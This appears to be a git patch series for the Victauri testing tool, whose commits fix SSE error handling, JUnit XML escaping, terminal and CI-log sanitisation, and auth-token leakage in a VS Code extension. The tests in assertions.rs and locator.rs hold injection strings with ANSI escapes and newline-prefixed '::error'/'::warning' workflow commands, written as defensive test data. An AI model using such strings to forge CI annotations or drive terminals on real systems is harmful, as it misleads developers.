'it may already have run; NOT retried' warning every other post-send failure carries. The body-read error now propagates as a post-send failure: a tool call is never re-sent and the client is told it may already have taken effect. Other (side-effect-free) methods keep their existing retry. Test drives the real bridge against a mock whose SSE body streams a progress event then errors (futures-util dev-dependency, already in the lock tree). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- Cargo.lock | 1 + crates/victauri-cli/Cargo.toml | 2 + crates/victauri-cli/src/bridge.rs | 7 ++- .../victauri-cli/tests/bridge_protocol_e2e.rs | 57 +++++++++++++++++++ 4 files changed, 66 insertions(+), 1 deletion(-) diff --git a/Cargo.lock b/Cargo.lock index 64e6433d..77eb2ad2 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -5336,6 +5336,7 @@ dependencies = [ "axum", "clap", "ctrlc", + "futures-util", "notify", "reqwest 0.12.28", "serde_json", diff --git a/crates/victauri-cli/Cargo.toml b/crates/victauri-cli/Cargo.toml index b736b404..44280102 100644 --- a/crates/victauri-cli/Cargo.toml +++ b/crates/victauri-cli/Cargo.toml @@ -37,6 +37,8 @@ toml_edit = "0.22" [dev-dependencies] tempfile = "3" axum = { workspace = true } +# Streaming mock bodies (an SSE response that dies mid-stream) in the bridge e2e tests. +futures-util = { version = "0.3", default-features = false } [lints] workspace = true diff --git a/crates/victauri-cli/src/bridge.rs b/crates/victauri-cli/src/bridge.rs index 86e7b51d..abe34a33 100644 --- a/crates/victauri-cli/src/bridge.rs +++ b/crates/victauri-cli/src/bridge.rs @@ -941,7 +941,12 @@ async fn post_message( .and_then(|v| v.to_str().ok()) .unwrap_or("") .to_string(); - let body = resp.text().await.unwrap_or_default(); + // A body that fails mid-read (the app died or the connection dropped mid-SSE-stream, + // after the request was delivered — possibly after progress events) is a POST-SEND + // failure, so it propagates: the caller then never re-sends a tool call and tells the + // client it may already have run. Swallowing it (`unwrap_or_default`) reported a + // misleading "empty or non-JSON response" instead (R5-BR4). + let body = resp.text().await?; if !(200..300).contains(&status) { // Surface a JSON-RPC error for the original request id. diff --git a/crates/victauri-cli/tests/bridge_protocol_e2e.rs b/crates/victauri-cli/tests/bridge_protocol_e2e.rs index 7cd6ecfb..62629462 100644 --- a/crates/victauri-cli/tests/bridge_protocol_e2e.rs +++ b/crates/victauri-cli/tests/bridge_protocol_e2e.rs @@ -183,6 +183,35 @@ async fn stateless_mcp( b.malformed.fetch_add(1, Ordering::SeqCst); } match v.get("method").and_then(Value::as_str) { + Some("tools/call") if v.pointer("/params/name") == Some(&json!("broken_sse")) => { + b.tool_calls.fetch_add(1, Ordering::SeqCst); + // The call is running (a progress event is streamed), then the connection dies + // before the result: the command may well have executed. + let progress = format!( + "data: {} + +", + json!({"jsonrpc":"2.0","method":"notifications/progress", + "params":{"progressToken":1,"progress":1}}) + ); + let body = futures_util::stream::unfold(0u8, move |step| { + let progress = progress.clone(); + async move { + match step { + 0 => Some((Ok::<_, std::io::Error>(progress), 1)), + 1 => { + tokio::time::sleep(Duration::from_millis(300)).await; + Some((Err(std::io::Error::other("app died mid-stream")), 2)) + } + _ => None, + } + } + }); + axum::response::Response::builder() + .header("content-type", "text/event-stream") + .body(axum::body::Body::from_stream(body)) + .unwrap() + } Some("tools/call") => { b.tool_calls.fetch_add(1, Ordering::SeqCst); axum::Json(json!({"jsonrpc":"2.0","id":id, @@ -309,3 +338,31 @@ async fn a_client_response_is_forwarded_and_never_answered() { assert_eq!(invalid["error"]["code"], -32600, "{invalid}"); assert_eq!(backend.malformed.load(Ordering::SeqCst), 0, "not forwarded"); } + +/// R5-BR4: an SSE response that dies mid-stream (after a progress event) means the call was +/// delivered and may have run. The client must be told exactly that — and the call must not +/// be re-sent — instead of the misleading "empty or non-JSON response" (the body-read error +/// used to be swallowed by `unwrap_or_default`). +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn a_tool_call_whose_sse_stream_dies_says_it_may_have_run() { + let backend = Backend::default(); + let mut h = Harness::start(backend_routes(&backend), true, &[]).await; + + h.send(&json!({"jsonrpc":"2.0","id":20,"method":"tools/call", + "params":{"name":"broken_sse","arguments":{}}})); + let r = h.recv_reply(); + assert_eq!(r["id"], 20, "{r}"); + let msg = r["error"]["message"] + .as_str() + .unwrap_or_else(|| panic!("error reply: {r}")); + assert!( + msg.contains("NOT retried") && msg.contains("may already have taken effect"), + "must say the call may have executed: {msg}" + ); + assert!(!msg.contains("empty or non-JSON"), "{msg}"); + assert_eq!( + backend.tool_calls.load(Ordering::SeqCst), + 1, + "a possibly-executed tool call is never re-sent" + ); +} From 8570e02dbeeccd9158328da455c018cac811853f Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 23:47:35 +1000 Subject: [PATCH 112/167] fix(victauri-test): JUnit XML never contains characters XML 1.0 forbids (R5-XML1) xml_escape passed C0 control characters through, so a console error carrying an ANSI escape (ESC) made the whole JUnit report invalid XML (Python's parser: 'not well-formed (invalid token)'). Every value the report writes is an attribute, so the escaper now: replaces chars outside the XML 1.0 Char production (C0 except tab/LF/CR, U+FFFE, U+FFFF) with U+FFFD, and writes tab/LF/CR as / / (literal ones would be normalized to spaces in an attribute value). Verified with Python's expat: the pre-fix report fails to parse, the fixed one parses. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-test/src/reporting.rs | 46 +++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) diff --git a/crates/victauri-test/src/reporting.rs b/crates/victauri-test/src/reporting.rs index 9ef02b32..d8f7e17f 100644 --- a/crates/victauri-test/src/reporting.rs +++ b/crates/victauri-test/src/reporting.rs @@ -143,6 +143,13 @@ fn format_duration(d: Duration) -> String { format!("{:.3}", d.as_secs_f64()) } +/// Escape `s` for an XML 1.0 ATTRIBUTE value (every value this report writes is an attribute). +/// +/// Characters outside XML 1.0's `Char` production — the C0 controls other than tab/LF/CR +/// (e.g. the ESC of an ANSI colour code in a console error), U+FFFE and U+FFFF — cannot appear +/// in an XML 1.0 document at all, not even as character references; one of them made the whole +/// report unparseable (R5-XML1). They are replaced with U+FFFD. Tab, LF and CR are written as +/// character references: literally, attribute-value normalization would turn them into spaces. fn xml_escape(s: &str) -> String { let mut out = String::with_capacity(s.len()); for ch in s.chars() { @@ -152,6 +159,10 @@ fn xml_escape(s: &str) -> String { '>' => out.push_str(">"), '"' => out.push_str("""), '\'' => out.push_str("'"), + '\t' => out.push_str(" "), + '\n' => out.push_str(" "), + '\r' => out.push_str(" "), + c if c < '\u{20}' || c == '\u{FFFE}' || c == '\u{FFFF}' => out.push('\u{FFFD}'), other => out.push(other), } } @@ -237,6 +248,41 @@ mod tests { assert!(xml.contains("'")); } + /// XML 1.0 `Char` production. + fn is_xml_char(c: char) -> bool { + matches!(c, '\t' | '\n' | '\r' | '\u{20}'..='\u{D7FF}' | '\u{E000}'..='\u{FFFD}' | '\u{10000}'..) + } + + /// R5-XML1: page text (console errors, ANSI-coloured output…) carries C0 control + /// characters. XML 1.0 forbids them outright, so one ESC made the whole report unparseable + /// by CI (Python's parser rejected it). They are replaced; tab/newline/CR survive as + /// character references (a literal newline in an attribute is normalized to a space). + #[test] + fn control_characters_never_reach_the_xml() { + let detail = "\u{1b}[31mTypeError\u{1b}[0m: boom\u{0}\u{7}\u{8}\u{b}\u{c}\u{1f}\u{FFFE}\u{FFFF}\nline2\r\tend"; + let report = VerifyReport { + results: vec![fail_result("check \u{1b}name", detail)], + }; + let xml = JunitReport::from_verify_report(&report, "suite\u{2}", Duration::ZERO).to_xml(); + for c in xml.chars() { + assert!( + is_xml_char(c), + "U+{:04X} is not an XML 1.0 char: {xml:?}", + c as u32 + ); + } + let failure = xml + .lines() + .find(|l| l.contains(" Date: Tue, 29 Sep 2026 23:50:06 +1000 Subject: [PATCH 113/167] fix(victauri-test): neutralize page text in check details, panics and locator errors (R5-TERM2) Page-controlled text reached terminals/CI logs raw: NoConsoleErrors put console.error messages verbatim into its failure detail, VerifyReport::assert_all_passed panicked with every detail verbatim, and a Locator element-script error carried the page's message into TestError::Assertion. Control characters/ANSI escapes could drive the terminal, and a newline could start a '::error' GitHub workflow command (a forged annotation). All three now go through the existing R4-TERM1 sanitizer (terminal::single_line), as the smoke summary already does: console error messages at extraction, every description/detail in the assert_all_passed panic, and the element-script error message. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-test/src/assertions.rs | 65 ++++++++++++++++++++++++-- crates/victauri-test/src/locator.rs | 22 ++++++++- 2 files changed, 82 insertions(+), 5 deletions(-) diff --git a/crates/victauri-test/src/assertions.rs b/crates/victauri-test/src/assertions.rs index 653b513a..0040f6e0 100644 --- a/crates/victauri-test/src/assertions.rs +++ b/crates/victauri-test/src/assertions.rs @@ -127,7 +127,17 @@ impl VerifyReport { .failures() .iter() .enumerate() - .map(|(i, f)| format!(" {}. {} — {}", i + 1, f.description, f.detail)) + // Descriptions and details can carry page text (console errors, DOM text, state + // values): render each single-line so it cannot drive the terminal or start a + // `::error` workflow command in a CI log (R5-TERM2, as the smoke summary does). + .map(|(i, f)| { + format!( + " {}. {} — {}", + i + 1, + crate::terminal::single_line(&f.description), + crate::terminal::single_line(&f.detail) + ) + }) .collect(); panic!( "verify() failed ({}/{} checks passed):\n{}", @@ -575,12 +585,13 @@ fn console_log_errors(log: &Value) -> Vec { .filter_map(|entry| { let level = entry.get("level").and_then(Value::as_str).unwrap_or(""); if level == "error" { + // Page-controlled: neutralize before it lands in a check detail that is printed, + // joined with "; " and put into panics (R5-TERM2). let msg = entry .get("message") .and_then(Value::as_str) - .unwrap_or("(no message)") - .to_string(); - Some(msg) + .unwrap_or("(no message)"); + Some(crate::terminal::single_line(msg)) } else { None } @@ -765,6 +776,52 @@ mod tests { assert_eq!(errors[1], "another error"); } + /// R5-TERM2: console.error text is page-controlled. It must not carry control + /// characters / ANSI escapes, or a newline that starts a `::error` GitHub workflow + /// command, into the check detail — which is printed and put into panics. + #[test] + fn console_errors_are_neutralized_for_terminals() { + let log = json!([ + {"level": "error", "message": "boom\n::error file=src/main.rs::forged\u{1b}[2J\u{202e}"} + ]); + let errors = console_log_errors(&log); + assert_eq!(errors.len(), 1); + let e = &errors[0]; + assert!(!e.chars().any(char::is_control), "{e:?}"); + assert!(!e.contains('\u{202e}'), "{e:?}"); + assert!( + e.contains("boom") && e.contains("forged"), + "text is kept visibly: {e}" + ); + } + + /// R5-TERM2: `assert_all_passed` panics with check details, which may carry page text + /// from any check — render them single-line, like the smoke summary (R4-TERM1). + #[test] + fn assert_all_passed_panic_message_is_terminal_safe() { + let report = VerifyReport { + results: vec![CheckResult { + description: "desc\u{1b}[31m".into(), + passed: false, + detail: "page said\n::warning::forged\r\u{7}".into(), + }], + }; + let payload = std::panic::catch_unwind(|| report.assert_all_passed()).unwrap_err(); + let msg = payload + .downcast_ref::() + .cloned() + .unwrap_or_default(); + assert!(msg.starts_with("verify() failed"), "{msg}"); + assert!( + !msg.contains('\u{1b}') && !msg.contains('\r') && !msg.contains('\u{7}'), + "{msg:?}" + ); + assert!( + !msg.lines().any(|l| l.trim_start().starts_with("::")), + "no line may start a workflow command: {msg:?}" + ); + } + #[test] fn console_errors_empty_for_no_errors() { let log = json!([{"level": "log", "message": "all good"}]); diff --git a/crates/victauri-test/src/locator.rs b/crates/victauri-test/src/locator.rs index 68b34419..37479ecd 100644 --- a/crates/victauri-test/src/locator.rs +++ b/crates/victauri-test/src/locator.rs @@ -848,7 +848,11 @@ fn element_result(val: Value, locator: &Locator) -> Result { ))); } if let Some(msg) = val.get(ERROR_KEY).and_then(Value::as_str) { - return Err(TestError::Assertion(format!("{locator}: {msg}"))); + // The message comes from the page: never let it drive a terminal or a CI log (R5-TERM2). + return Err(TestError::Assertion(format!( + "{locator}: {}", + crate::terminal::single_line(msg) + ))); } Ok(val) } @@ -1914,6 +1918,22 @@ mod tests { assert_eq!(picked.ref_id, "e2"); } + /// R5-TERM2: an element script's error message is page-controlled text. + #[test] + fn element_error_text_is_terminal_safe() { + let val = json!({ ERROR_KEY: "nope\n::error::forged\u{1b}[2J" }); + let err = element_result(val, &Locator::css("p")).unwrap_err(); + let TestError::Assertion(msg) = &err else { + panic!("expected an assertion error, got {err:?}"); + }; + assert!(!msg.chars().any(char::is_control), "{msg:?}"); + assert!(msg.contains("nope") && msg.contains("forged"), "{msg}"); + assert!( + !err.to_string().lines().any(|l| l.starts_with("::")), + "{err}" + ); + } + #[test] fn pick_one_empty_returns_error() { let loc = Locator::css("p"); From c71ebcc0d163bf35165eafaf2af968fb9cddf849 Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 23:55:56 +1000 Subject: [PATCH 114/167] fix(vscode): never re-send the token to a port its app no longer owns; no overlapping polls (R5-VSC1) (a) The client resolved port + token once and then sent the Bearer token to that port every poll, forever, with no rediscovery or liveness check: after the app exited, another local process binding the port received the token. /info is behind auth, so identity cannot be checked without sending the token; discovery is the only proof available beforehand (same model as the CLI bridge). A discovered connection now re-reads discovery before every token-bearing request and requires a live, trusted entry that still maps this port to this token and app identifier. If the app restarted elsewhere it is followed by identity, and /info's app_identifier is verified before any other request carries the new token (a mismatch refuses the endpoint until reconnect). If nothing vouches for the port, the token is not sent. On a connection error the poller retries once, which re-resolves before sending. An explicitly configured port + token is used as given (the user's choice). (b) setInterval refreshes could overlap on a slow app; an in-flight guard now skips a tick while a refresh is running. Tests (test/client.test.ts, fake HTTP servers): the token is not sent after the entry disappears; a restarted app is followed and verified via /info first; an impostor identity is refused; the poller never overlaps. Extension version unchanged. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- editors/vscode/CHANGELOG.md | 9 ++ editors/vscode/package.json | 2 +- editors/vscode/src/client.ts | 144 +++++++++++++++++++++--- editors/vscode/src/discovery.ts | 29 ++++- editors/vscode/src/extension.ts | 15 ++- editors/vscode/test/client.test.ts | 156 ++++++++++++++++++++++++++ editors/vscode/test/discovery.test.ts | 10 ++ editors/vscode/test/vscode-stub.ts | 13 +++ 8 files changed, 357 insertions(+), 21 deletions(-) create mode 100644 editors/vscode/test/client.test.ts diff --git a/editors/vscode/CHANGELOG.md b/editors/vscode/CHANGELOG.md index 28676b97..bbc1a33f 100644 --- a/editors/vscode/CHANGELOG.md +++ b/editors/vscode/CHANGELOG.md @@ -6,6 +6,15 @@ All notable changes to the Victauri VS Code extension will be documented in this Version-synced with the Victauri 0.9.0 release. Extension changes: +- **The auth token stops following a port its app no longer owns.** The extension resolved the + port and token once and then sent the token to that port every poll, forever — after the + app exited, any local process that bound the port received it. Before each token-bearing + request the extension now re-reads discovery and requires a live, trusted entry that still + maps that port to that token and app; if the app restarted on another port it follows it by + identity and checks `/info`'s `app_identifier` before anything else carries the new token, + and if nothing vouches for the port the token is not sent. The poller also no longer + overlaps itself when a refresh outlasts the poll interval. + - **"Generate Test for Element" can no longer be used for code injection.** The DOM node's accessible name (and ref id) — page-controlled text — was interpolated into the generated Rust unescaped, so a page could break out of `Locator::text("…")` and add Rust that runs on diff --git a/editors/vscode/package.json b/editors/vscode/package.json index d58ba76e..b190cbcd 100644 --- a/editors/vscode/package.json +++ b/editors/vscode/package.json @@ -244,7 +244,7 @@ "watch": "esbuild src/extension.ts --bundle --outfile=dist/extension.js --external:vscode --format=cjs --platform=node --watch", "package": "npx --no-install vsce package", "lint": "tsc --noEmit && tsc --noEmit -p test", - "test": "esbuild test/codegen.test.ts test/discovery.test.ts --bundle --platform=node --format=cjs --outdir=out-test --alias:vscode=./test/vscode-stub.ts --log-level=warning && node --test out-test/codegen.test.js out-test/discovery.test.js" + "test": "esbuild test/codegen.test.ts test/discovery.test.ts test/client.test.ts --bundle --platform=node --format=cjs --outdir=out-test --alias:vscode=./test/vscode-stub.ts --log-level=warning && node --test out-test/codegen.test.js out-test/discovery.test.js out-test/client.test.js" }, "devDependencies": { "@types/node": "^20.0.0", diff --git a/editors/vscode/src/client.ts b/editors/vscode/src/client.ts index 280f7e9e..5f593796 100644 --- a/editors/vscode/src/client.ts +++ b/editors/vscode/src/client.ts @@ -1,5 +1,7 @@ import * as vscode from "vscode"; +import type { DiscoveredServer } from "./discovery"; + export interface ToolInfo { name: string; description?: string; @@ -71,11 +73,32 @@ export function authProbeVerdict(status: number): AuthProbeVerdict { return status >= 200 && status < 300 ? "ok" : "error"; } +/** + * How the client keeps a discovered endpoint honest (R5-VSC1). With `discover`, every request + * that carries the token first re-reads discovery and requires a live, trusted entry that still + * maps this port to this token (and `identifier`). If the app restarted elsewhere, the client + * follows it by `identifier` and verifies `/info`'s `app_identifier` before any other request + * carries the new token; if nothing vouches for the port, the token is not sent. + */ +export interface ConnectOptions { + /** Bundle identifier of the discovered app (from its discovery `metadata.json`). */ + identifier?: string; + /** The live, trusted discovery entries right now (`scanServers().live`). */ + discover?: () => Promise; +} + export class VictauriClient { private baseUrl = ""; + private port = 0; private token = ""; + private identifier: string | undefined; + private discover: (() => Promise) | undefined; + /** Set when an endpoint proved to be a different app: nothing is sent until reconnect. */ + private refusedReason: string | undefined; private state: ConnectionState = "disconnected"; private pollTimer: ReturnType | undefined; + /** A poll is running: the next tick is skipped rather than overlapping it (R5-VSC1). */ + private refreshing = false; private readonly onStateChange = new vscode.EventEmitter(); private readonly onDataUpdate = new vscode.EventEmitter(); @@ -96,9 +119,11 @@ export class VictauriClient { return this.state; } - async connect(port: number, authToken?: string): Promise { - this.baseUrl = `http://127.0.0.1:${port}`; - this.token = authToken ?? ""; + async connect(port: number, authToken?: string, options: ConnectOptions = {}): Promise { + this.pointAt(port, authToken ?? ""); + this.identifier = options.identifier; + this.discover = options.discover; + this.refusedReason = undefined; this.setState("connecting"); try { @@ -163,6 +188,64 @@ export class VictauriClient { if (!resp.ok) { throw new Error(`Authenticated probe (/info) failed: HTTP ${resp.status}`); } + await this.checkIdentity(resp); + } + + /** + * The `/info` answer must name the app we discovered: a port can change hands, and a + * restarted app is re-resolved by identity (R5-VSC1). On a mismatch nothing more is sent to + * this endpoint until the user reconnects. + */ + private async checkIdentity(resp: Response): Promise { + if (this.identifier === undefined) return; + let reported: unknown; + try { + reported = ((await resp.json()) as { app_identifier?: unknown } | null)?.app_identifier; + } catch { + reported = undefined; + } + if (reported !== this.identifier) { + this.refusedReason = + `port ${this.port} answers as ${typeof reported === "string" ? reported : "an unknown app"}, ` + + `not ${this.identifier}; nothing more is sent to it. Reconnect once the app is running.`; + throw new Error(`Victauri: ${this.refusedReason}`); + } + } + + /** + * Before the token goes out: confirm through discovery that this port still belongs to the + * app we connected to. Discovery (a trusted, own-process entry carrying this exact port and + * token) is the only proof available before sending the token: `/info` itself requires it. + */ + private async ensureEndpointTrusted(): Promise { + if (this.refusedReason) throw new Error(`Victauri: ${this.refusedReason}`); + if (!this.discover || !this.token) return; + const live = await this.discover(); + const sameApp = (s: DiscoveredServer) => + this.identifier === undefined || s.identifier === this.identifier; + if (live.some((s) => s.port === this.port && s.token === this.token && sameApp(s))) return; + + // Not vouched for any more. Follow the SAME app (by identity) if it restarted elsewhere. + const moved = + this.identifier === undefined + ? [] + : live.filter((s) => s.identifier === this.identifier && s.token); + if (moved.length !== 1) { + throw new Error( + `Victauri: port ${this.port} no longer belongs to ` + + `${this.identifier ?? "the app this window connected to"} (its discovery entry is ` + + "gone), so the auth token was not sent. Reconnect once the app is running." + ); + } + this.pointAt(moved[0].port, moved[0].token ?? ""); + // Verify the new endpoint's identity before any other request carries the token. + await this.checkIdentity(await this.rawFetch("/info")); + } + + private pointAt(port: number, token: string): void { + this.port = port; + this.baseUrl = `http://127.0.0.1:${port}`; + this.token = token; } async refreshAll(): Promise { @@ -372,19 +455,41 @@ export class VictauriClient { .getConfiguration("victauri") .get("pollInterval", 2000); this.pollTimer = setInterval(() => { - this.refreshAll().catch((e: unknown) => { - // Server went down (or the token stopped working, e.g. the app was - // restarted and minted a fresh one): disconnect so the UI says so. - if (this.state !== "connected") return; - this.disconnect(); - this.onDataUpdate.fire(); - vscode.window.showWarningMessage( - `Victauri: Lost connection to Tauri app — ${e instanceof Error ? e.message : String(e)}` - ); - }); + // A refresh on a slow app can outlast the interval: skip this tick instead of stacking + // a second concurrent refresh on top of it (R5-VSC1). + if (this.refreshing) return; + this.refreshing = true; + this.pollOnce() + .catch((e: unknown) => { + // Server went down (or the token stopped working, e.g. the app was + // restarted and minted a fresh one): disconnect so the UI says so. + if (this.state !== "connected") return; + this.disconnect(); + this.onDataUpdate.fire(); + vscode.window.showWarningMessage( + `Victauri: Lost connection to Tauri app — ${e instanceof Error ? e.message : String(e)}` + ); + }) + .finally(() => { + this.refreshing = false; + }); }, interval); } + /** + * One poll. On a CONNECTION error (the app exited or is restarting) retry once: that retry + * re-resolves through discovery before sending anything, following the same app to its new + * port or refusing to send the token at all. + */ + private async pollOnce(): Promise { + try { + await this.refreshAll(); + } catch (e) { + if (!isConnectionError(e) || this.state !== "connected") throw e; + await this.refreshAll(); + } + } + private stopPolling(): void { if (this.pollTimer) { clearInterval(this.pollTimer); @@ -397,7 +502,13 @@ export class VictauriClient { this.onStateChange.fire(s); } - private async fetch( + /** Every request goes through here; a token-bearing one is vouched for first. */ + private async fetch(path: string, init?: RequestInit): Promise { + if (path !== "/health") await this.ensureEndpointTrusted(); + return this.rawFetch(path, init); + } + + private async rawFetch( path: string, init?: RequestInit ): Promise { @@ -420,3 +531,8 @@ export class VictauriClient { } } } + +/** `fetch` rejects with a `TypeError` when no HTTP response arrived at all. */ +function isConnectionError(e: unknown): boolean { + return e instanceof TypeError; +} diff --git a/editors/vscode/src/discovery.ts b/editors/vscode/src/discovery.ts index 010c5bef..d36b66e5 100644 --- a/editors/vscode/src/discovery.ts +++ b/editors/vscode/src/discovery.ts @@ -172,7 +172,18 @@ export async function scanServers( } export type Resolution = - | { ok: true; port: number; token: string | undefined; warning?: string } + | { + ok: true; + port: number; + token: string | undefined; + warning?: string; + /** + * The live discovery entry whose token is used, when discovery chose (or matched) it. + * The client then keeps re-checking discovery before sending that token (R5-VSC1). + * Absent for an explicitly configured port + token, or when no token is sent. + */ + vouchedBy?: DiscoveredServer; + } | { ok: false; message: string }; function label(s: DiscoveredServer): string { @@ -197,12 +208,17 @@ export function resolveConnection( const servers = scan.live; if (explicit.port !== undefined) { const onPort = servers.filter((s) => s.port === explicit.port); - const token = explicit.token || (onPort.length === 1 ? onPort[0].token : undefined); - return { ok: true, port: explicit.port, token }; + if (explicit.token) return { ok: true, port: explicit.port, token: explicit.token }; + if (onPort.length === 1 && onPort[0].token) { + return { ok: true, port: explicit.port, token: onPort[0].token, vouchedBy: onPort[0] }; + } + return { ok: true, port: explicit.port, token: undefined }; } if (explicit.token) { const owners = servers.filter((s) => s.token === explicit.token); - if (owners.length === 1) return { ok: true, port: owners[0].port, token: explicit.token }; + if (owners.length === 1) { + return { ok: true, port: owners[0].port, token: explicit.token, vouchedBy: owners[0] }; + } if (owners.length === 0) { return { ok: false, @@ -219,7 +235,10 @@ export function resolveConnection( }; } if (servers.length === 1) { - return { ok: true, port: servers[0].port, token: servers[0].token }; + const only = servers[0]; + return only.token + ? { ok: true, port: only.port, token: only.token, vouchedBy: only } + : { ok: true, port: only.port, token: undefined }; } if (servers.length > 1) { return { diff --git a/editors/vscode/src/extension.ts b/editors/vscode/src/extension.ts index 1253a691..c16922d2 100644 --- a/editors/vscode/src/extension.ts +++ b/editors/vscode/src/extension.ts @@ -82,7 +82,20 @@ export function activate(context: vscode.ExtensionContext): void { const token = resolution.token; try { - await client.connect(actualPort, token); + // A discovered endpoint is re-checked against discovery before the token is sent + // again, and followed by identity if the app restarts (R5-VSC1). An explicitly + // configured port + token is the user's own choice and is used as given. + const vouched = resolution.vouchedBy; + await client.connect( + actualPort, + token, + vouched + ? { + identifier: vouched.identifier, + discover: async () => (await scanServers()).live, + } + : {} + ); vscode.window.showInformationMessage( `Victauri: Connected on port ${actualPort}` ); diff --git a/editors/vscode/test/client.test.ts b/editors/vscode/test/client.test.ts new file mode 100644 index 00000000..9e354ed9 --- /dev/null +++ b/editors/vscode/test/client.test.ts @@ -0,0 +1,156 @@ +// R5-VSC1: the extension must never keep sending the Bearer token to a port its app no longer +// owns, and its poller must never overlap itself. +import { test } from "node:test"; +import assert from "node:assert/strict"; +import * as http from "node:http"; +import type { AddressInfo } from "node:net"; + +import { VictauriClient } from "../src/client"; +import type { DiscoveredServer } from "../src/discovery"; +import { stubConfig } from "./vscode-stub"; + +interface Seen { + path: string; + auth: string | undefined; +} + +/** A fake Victauri server. `infoDelayMs` slows `/info` to simulate a busy app. */ +async function fakeServer( + appIdentifier: string, + infoDelayMs = 0 +): Promise<{ port: number; seen: Seen[]; close: () => Promise }> { + const seen: Seen[] = []; + const server = http.createServer((req, res) => { + seen.push({ path: req.url ?? "", auth: req.headers.authorization }); + const reply = (body: unknown) => { + res.writeHead(200, { "content-type": "application/json" }); + res.end(JSON.stringify(body)); + }; + if (req.url === "/health") return reply("ok"); + if (req.url === "/info") { + setTimeout(() => reply({ app_identifier: appIdentifier }), infoDelayMs); + return; + } + req.resume(); + req.on("end", () => reply({ result: {} })); + }); + await new Promise((r) => server.listen(0, "127.0.0.1", r)); + const port = (server.address() as AddressInfo).port; + return { + port, + seen, + close: () => + new Promise((r) => { + server.closeAllConnections(); + server.close(() => r()); + }), + }; +} + +const entry = (port: number, token: string, identifier: string): DiscoveredServer => ({ + port, + token, + identifier, + pid: 1, +}); + +test("the token is not sent once discovery no longer vouches for the port", async () => { + const app = await fakeServer("com.real.app"); + let live = [entry(app.port, "tok-real", "com.real.app")]; + const client = new VictauriClient(); + try { + stubConfig.pollInterval = 60_000; + await client.connect(app.port, "tok-real", { + identifier: "com.real.app", + discover: async () => live, + }); + // The app exited (its discovery entry is gone); something else now holds the port. + live = []; + const before = app.seen.length; + await assert.rejects(client.callTool("eval_js", { code: "1" }), /no longer/i); + assert.equal(app.seen.length, before, "no request (and no token) reached the port"); + } finally { + client.dispose(); + await app.close(); + } +}); + +test("a restarted app is followed by identity, verified through /info", async () => { + const first = await fakeServer("com.real.app"); + const second = await fakeServer("com.real.app"); + let live = [entry(first.port, "tok-1", "com.real.app")]; + const client = new VictauriClient(); + try { + stubConfig.pollInterval = 60_000; + await client.connect(first.port, "tok-1", { + identifier: "com.real.app", + discover: async () => live, + }); + live = [entry(second.port, "tok-2", "com.real.app")]; + await client.callTool("get_memory_stats"); + const toolCall = second.seen.find((s) => s.path.startsWith("/api/tools/")); + assert.equal(toolCall?.auth, "Bearer tok-2"); + assert.ok( + second.seen.findIndex((s) => s.path === "/info") < + second.seen.findIndex((s) => s.path.startsWith("/api/tools/")), + "identity is re-verified before any tool call" + ); + } finally { + client.dispose(); + await first.close(); + await second.close(); + } +}); + +test("a re-resolved endpoint that reports another app is refused", async () => { + const first = await fakeServer("com.real.app"); + const impostor = await fakeServer("com.someone.else"); + let live = [entry(first.port, "tok-1", "com.real.app")]; + const client = new VictauriClient(); + try { + stubConfig.pollInterval = 60_000; + await client.connect(first.port, "tok-1", { + identifier: "com.real.app", + discover: async () => live, + }); + live = [entry(impostor.port, "tok-2", "com.real.app")]; + await assert.rejects(client.callTool("eval_js", { code: "1" }), /com\.someone\.else/); + assert.equal( + impostor.seen.filter((s) => s.path.startsWith("/api/tools/")).length, + 0, + "no tool call reaches an endpoint whose identity does not match" + ); + } finally { + client.dispose(); + await first.close(); + await impostor.close(); + } +}); + +test("the poller never overlaps a slow refresh", async () => { + const app = await fakeServer("com.slow.app", 400); + const client = new VictauriClient(); + try { + stubConfig.pollInterval = 30; + await client.connect(app.port, "tok"); + const start = app.seen.length; + let inFlight = 0; + let maxInFlight = 0; + const original = client.refreshAll.bind(client); + client.refreshAll = async () => { + inFlight++; + maxInFlight = Math.max(maxInFlight, inFlight); + try { + await original(); + } finally { + inFlight--; + } + }; + await new Promise((r) => setTimeout(r, 1_000)); + assert.equal(maxInFlight, 1, "refreshAll ran concurrently with itself"); + assert.ok(app.seen.length > start, "polling still happens"); + } finally { + client.dispose(); + await app.close(); + } +}); diff --git a/editors/vscode/test/discovery.test.ts b/editors/vscode/test/discovery.test.ts index 16db72de..9568744c 100644 --- a/editors/vscode/test/discovery.test.ts +++ b/editors/vscode/test/discovery.test.ts @@ -28,10 +28,19 @@ test("a configured token without a configured port goes only to the app that own ok: true, port: 7374, token: "mine", + vouchedBy: live[1], }); const refused = resolveConnection({ token: "mine" }, scan(live.slice(0, 1)), 7373); assert.equal(refused.ok, false); assert.match(!refused.ok ? refused.message : "", /victauri\.port/); + // An explicit port WITHOUT a token uses the discovered token, and stays vouched for by + // that entry (R5-VSC1: the client re-checks discovery before re-sending it). + assert.deepEqual(resolveConnection({ port: 7374 }, scan(live), 7373), { + ok: true, + port: 7374, + token: "mine", + vouchedBy: live[1], + }); // An explicit port + explicit token keeps the old behaviour. assert.deepEqual(resolveConnection({ port: 7373, token: "t" }, scan(live), 7373), { ok: true, @@ -52,6 +61,7 @@ test("several running apps are an error naming each, never a silent pick", () => ok: true, port: 7373, token: "a", + vouchedBy: live[0], }); const none = resolveConnection({}, scan([]), 7373); assert.deepEqual(none, { ok: true, port: 7373, token: undefined, warning: undefined }); diff --git a/editors/vscode/test/vscode-stub.ts b/editors/vscode/test/vscode-stub.ts index 66ba069d..c230cab8 100644 --- a/editors/vscode/test/vscode-stub.ts +++ b/editors/vscode/test/vscode-stub.ts @@ -36,3 +36,16 @@ export enum TreeItemCollapsibleState { Collapsed = 1, Expanded = 2, } + +/** Settings the client reads through `workspace.getConfiguration`; tests may 